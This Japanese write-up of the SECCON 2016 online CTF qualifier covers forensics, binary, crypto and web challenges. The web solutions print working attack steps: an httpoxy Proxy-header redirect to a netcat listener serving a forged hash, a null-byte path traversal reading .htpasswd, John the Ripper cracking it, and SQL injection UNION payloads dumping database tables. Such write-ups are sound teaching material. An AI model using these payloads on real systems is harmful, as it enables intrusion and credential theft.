SECCON 2016 オンライン予選に某チームで参加した。そこそこの順位。去年までとはうってかわって、ガチなExploit問題が多めだった。
私が解いた(or 途中まで解いた)問題の解法。
VoIP (Forensics, 100点)
pcapからVoIPの音声を取り出す問題。どうするのかと思ったけど、Wiresharkで開いて、Telephony→VoIP Callsで再生までできる。
「SECCON{9001IBR}
かな? SECCON{9001IBA}
かな? どっちも通らないな……」と悩んで放置していたら、チームメイトがSECCON{9001IVR}
で通していた。英語力……。
SECCON{9001IVR}
Anti-Debugging (Binary, 100点)
Windowsバイナリ。パスワードがI have a pen.
かどうかを調べて、デバッガのチェックをして、フラグを表示している。パスワードが分かったらデバッガで動かす必要は無いのではと思ったけど、if (0==1) {
のようになっている。難読化されているわけでもないので、何とでもなる。
SECCON{check_Ascii85}
pppppoxy (Web, 200点)
Windowsのバイナリを動かすとウェブサーバーが立ち上がってブラウザが開き、ログイン画面が表示される。タイトルからして、httpoxy。
curl -H "Proxy: http://127.0.0.1:8080" http://127.0.0.1/ --data "user=admin&pass=test"
で、8080ポートで待ち受けていると、
GET http://127.0.0.1/Authenticator?user=admin HTTP/1.0
Host: 127.0.0.1
User-Agent: poxyclient/0.1
というアクセスが飛んでくる。これに対して何を返せば良いのか悩んだが、http://127.0.0.1/Authenticator?user=admin
にアクセスしてみれば良かった。
{"hash":"C432A8174394A3F655B2BD29BB075E4C"}
パスワードのMD5ハッシュだろうと当たりをつけて、test
のMD5ハッシュに差し替えたら通った。
HTTP/1.0 200 OK
Content-Type: text/plain
Content-Length: 43
{"hash":"098F6BCD4621D373CADE4E832627B4F6"}
こんなファイルを用意して、cat response.txt | nc -l 8080
。
SECCON{D5691FB40B2AF60CA78DA78AC65A71E2}
Backpacker's Capricious Cipher (Crypt, 200点)
公開鍵暗号。面白かった。
不慣れなrubyをがんばって読んでみると、次のような処理だと分かる。
N=128。P=79228162514264337593543950319を法としての剰余環。
keyは、P未満の整数の長さNの配列、
priv_keyは、0か1の長さNの配列、
sumは、keyのうちpriv_keyが1に対応するものを足し合わせた数。
(sum, key) が公開鍵で、priv_keyが秘密鍵。
暗号化の結果として出力するのは、(N未満の数と(P未満の数の配列)の組)の配列。 [[72589823399196468125690117754,[]],[67685415881951442851282304799,[0]],[7058749587311540565065270139,[0,0]],[55338377772054747597823708804,[0,1]],[6706183...
みたいな感じ。P未満の数の配列の長さは実は高々2個で、[i,j]
について、i≦j。
処理を追うと、P未満の数の配列に対応する値は次のようになる。
[] | message - sum*(a[0]+a[1]+…+a[N]) |
[0] | key[0]*(a[0]+a[1]+…a[N]) - c[0] - sum*b[0] |
[1] | key[1]*(a[0]+a[1]+…a[N]) - c[1] - sum*b[1] |
: | : |
[N] | key[N]*(a[0]+a[1]+…a[N]) - c[N] - sum*b[N] |
[0,0] | key[0]*b[0] + c[0] |
[1,1] | key[1]*b[1] + c[1] |
: | : |
[N,N] | key[N]*b[N] + c[N] |
[0,1] | key[1]*b[0] + key[0]*b[1] |
[x,y] | key[y]*b[x] + key[x]*b[y] |
a, b, cは乱数。
復号は、[x,y]
について、priv_key[x]*priv_key[y]
が1となるものだけを足し合わせる。なるほど、たしかに上の表と睨めっこしてみると、上手いこと打ち消し合ってa, b, cが消えるし、keyの中から合計がsumに等しくなる組み合わせを選ぶのは、ナップサック問題みたいでとても難しそう。
一見どうしようもなさそうだが、よくよく考えてみると、「keyの中から値をいくつかえらんで合計するとsumになる」という条件は全く必要無い。
aはa[0]+a[1]+…a[N]の形でしか出てこないので、=Aと置いて、1個の変数にできる。また、[x]
と[x,x]
を足し合わせるとcが消える。
[] | message - sum*A |
[0]+[0,0] | key[0]*A - sum*b[0] + key[0]*b[0] |
[1]+[1,1] | key[1]*A - sum*b[1] + key[1]*b[1] |
: | : |
[N]+[N,N] | key[N]*A - sum*b[N] + key[N]*b[N] |
[0,1] | key[1]*b[0] + key[0]*b[1] |
[x,y] | key[y]*b[x] + key[x]*b[y] |
ここで、[0]+[0,0]
と[1]+[1,1]
、[0,1]
に注目してみると、式が3個で、値の分からない変数がb[0]とb[1]、Aの3個なので、単に連立方程式を解けばAの値が求められる。あとは、[]+sum*A
を計算すれば良い。
N = 128
P = 79228162514264337593543950319
sum, key = eval(open("pub_key.txt").read())
enc = {}
for e in eval(open("enc.txt").read()):
enc[tuple(e[1])] = e[0]
def inv(n):
return pow(n, P-2, P)
A = enc[0,] + enc[0,0]
B = enc[1,] + enc[1,1]
C = enc[0,1]
A = (A*(key[1]-sum)*key[1] + B*(key[0]-sum)*key[0] - C*(key[0]-sum)*(key[1]-sum)) * inv(key[0]*(key[1]-sum)*key[1] + key[1]*(key[0]-sum)*key[0])
message = enc[()] + sum*A
print hex(message%P)[2:-1].decode("hex")
SECCON{kpsk}
uncomfortable web (Web, 300点)
終了5分前に解けた。「アップロードしたスクリプトを実行してあげるから、外部には公開されていないhttp://127.0.0.1:81/
を攻撃しろ」という問題。攻撃するサーバーは内部ネットワークの別サーバーではなく、スクリプトが動いているのと同じサーバーなので、何かそれを使うことがあるのかと思ったけど、権限がかなり制限されているので何もできない。冷静に考えてみると、この方式の理由が分からないな……。curl
をfor
で回したくらいか。Pythonやperlも使えるようだけど、シェルスクリプトでcurlを使った。
curl http://127.0.0.1:81/
で、/authed/
と/select.cgi
があることが分かる。
http://127.0.0.1:81/select.cgi
の中身は、
<html>
<body>
<form action="?" method="get">
<select name="txt">
<option value="a">a</option>
<option value="b">b</option>
</select>
<input type="submit" vaue="GO">
</form>
</body></html>
http://127.0.0.1:81/select.cgi?txt=a
で、
<html>
<body>
<form action="?" method="get">
<select name="txt">
<option value="a">a</option>
<option value="b">b</option>
</select>
<input type="submit" vaue="GO">
</form>
<hr>
authed/a.txt<br>
<br>
/$$ /$$ /$$ /$$ /$$ /$$ <br>
| $$ | $$ | $$ /$$/ | $$ | $$ <br>
/$$$$$$ /$$ /$$ /$$$$$$ | $$$$$$$ /$$$$$$ /$$$$$$$ /$$//$$$$$$ /$$$$$$ /$$ /$$ /$$$$$$ <br>
|____ $$| $$ | $$|_ $$_/ | $$__ $$ /$$__ $$ /$$__ $$ /$$/|____ $$ |_ $$_/ | $$ /$$/|_ $$_/ <br>
/$$$$$$$| $$ | $$ | $$ | $$ \ $$| $$$$$$$$| $$ | $$ /$$/ /$$$$$$$ | $$ \ $$$$/ | $$ <br>
/$$__ $$| $$ | $$ | $$ /$$| $$ | $$| $$_____/| $$ | $$ /$$/ /$$__ $$ | $$ /$$ >$$ $$ | $$ /$$<br>
| $$$$$$$| $$$$$$/ | $$$$/| $$ | $$| $$$$$$$| $$$$$$$ /$$/ | $$$$$$$ /$$| $$$$//$$/\ $$ | $$$$/<br>
\_______/ \______/ \___/ |__/ |__/ \_______/ \_______/|__/ \_______/|__/ \___/ |__/ \__/ \___/ <br>
<br>
<br>
</body></html>
authed/${name}.txt
が表示されているらしい。authed/
は認証が要求される。.htaccess
があるだろうから見てみる。ちなみに、読み取り権限が無いのか何なのか、.cgiは読めない。
http://127.0.0.1:81/select.cgi?txt=.htaccess%00
AuthUserFile /var/www/html-inner/authed/.htpasswd
AuthGroupFile /dev/null
AuthName "SECCON 2016"
AuthType Basic
Require user keigo
http://127.0.0.1:81/select.cgi?txt=../../../../../../../var/www/html-inner/authed/.htpasswd%00
keigo:LdnoMJCeVy.SE
このhtml-inner
ディレクトリは、81番ポート用のディレクトリらしく、txt=.htpasswd%00
でも良い。
.htpasswd
をJohn the ripperに掛けると、すぐにパスワードが出てくる。test
。
kusano@ubuntu:~/ctf/seccon2016q$ cat .htpasswd
keigo:LdnoMJCeVy.SE
kusano@ubuntu:~/ctf/seccon2016q$ john .htpasswd
Loaded 1 password hash (descrypt, traditional crypt(3) [DES 128/128 SSE2-16])
Press 'q' or Ctrl-C to abort, almost any other key for status
test (keigo)
1g 0:00:00:00 100% 2/3 25.00g/s 23050p/s 23050c/s 23050C/s orange..horses
Use the "--show" option to display all of the cracked passwords reliably
Session completed
kusano@ubuntu:~/ctf/seccon2016q$ john --show .htpasswd
keigo:test
1 password hash cracked, 0 left
curl --user keigo:test 'http://127.0.0.1:81/authed/'
で、authed/
に
- a.txt
- b.txt
- c.txt
- sqlinj/
が存在することが分かる。
authed/sqlinj/
の中身は1.cgi
、2.cgi
、…、100.cgi
。それぞれのcgiは、
<html>
<head>
<title>SECCON 2016 Online</title>
<!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
</body></html>
で、?no=4822267938
を付けると、
<html>
<head>
<title>SECCON 2016 Online</title>
<!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
<hr>
ISBN-10: 4822267938<br>
ISBN-13: 978-4822267933<br>
PUBLISH: 2016/2/19<p>
</body><html>
となる。
各CGIは、ファイルサイズも更新時刻も全く同じだけど、「まあ、どれか1つにSQLインジェクションが可能なのかな?」と考え、
for i in $(seq 1 100)
do
echo ${i}
curl --user keigo:test http://127.0.0.1:81/authed/sqlinj/${i}.cgi?no=4822237842%27--
done
とすると、
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
159 159 0 159 0 0 4216 0 --:--:-- --:--:-- --:--:-- 4297
<html>
<head>
<title>SECCON 2016 Online</title>
<!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
<hr>
</body></html>72
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
116 233 0 233 0 0 6194 0 --:--:-- --:--:-- --:--:-- 6297
<html>
<head>
<title>SECCON 2016 Online</title>
<!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
<hr>
ISBN-10: 4822237842<br>
ISBN-13: 978-4822237844<br>
PUBLISH: 2016/8/25<p>
</body></html>73
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
159 159 0 159 0 0 3640 0 --:--:-- --:--:-- --:--:-- 3785
<html>
<head>
<title>SECCON 2016 Online</title>
<!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
<hr>
</body></html>
となった。脆弱なのは、72.cgi
。
あとは、
curl --user keigo:test 'http://127.0.0.1:81/authed/sqlinj/72.cgi?no=482226793%27UNION+SELECT+0,0,group_concat(sql)+FROM+sqlite_master--'
ISBN-10: 0
ISBN-13: 0
PUBLISH: CREATE TABLE books (isbn10,isbn13,date),CREATE TABLE f1ags (f1ag)
curl --user keigo:test 'http://127.0.0.1:81/authed/sqlinj/72.cgi?no=482226793%27UNION+SELECT+0,0,f1ag+FROM+f1ags--'
ISBN-10: 0
ISBN-13: 0
PUBLISH: SECCON{I want to eventually make a CGC web edition... someday...}
{I want to eventually make a CGC web edition... someday...}
randomware (Forensics, 300点)
PCが壊れたから直してくれと。.qcow2のディスクイメージが問題。
.qcow2のままだと扱いづらいので、rawイメージに直す。
qemu-img.exe convert -O raw disk.qcow2 disk.img
アンチウイルスソフトが激おこ。FTK Imagerで開く。/tce/mydata.tar
というファイルがある。中を見ると、/home/tc/h1dd3n_s3cr3t_f14g.jpg
というファイルや、/home/tc/getflag
というファイルがある。
getflag
はh1dd3n_s3cr3t_f14g.jpg
をダウンロードして、他のファイルとともに暗号化するプログラム。/dev/urandom
から1KB読んで鍵とし、xorを取る。鍵は全ファイルで固定。他に暗号化されているファイルを探すと、/home/tc/.mozilla/firefox/wir5mrmb.default/revocations.txt
があった。revocations.txt
でググって出てきたファイルとは先頭部分が一致しているらしく、これを使って半分くらいh1dd3n_s3cr3t_f14g.jpg
が復号できた。まだ足りない。/home/tc/.mozilla/firefox/wir5mrmb.default/blocklist.xml
も暗号化されていて、復号してみると、このファイルは先頭に更新時刻が入っている。更新時刻を頼りにググって、↓のファイルを見つけた。
これで、h1dd3n_s3cr3t_f14g.jpg
の全体が復号できた。夜中に飯テロ画像が出てきてつらかった(◞‸◟)
SECCON{This is Virtual FAT too}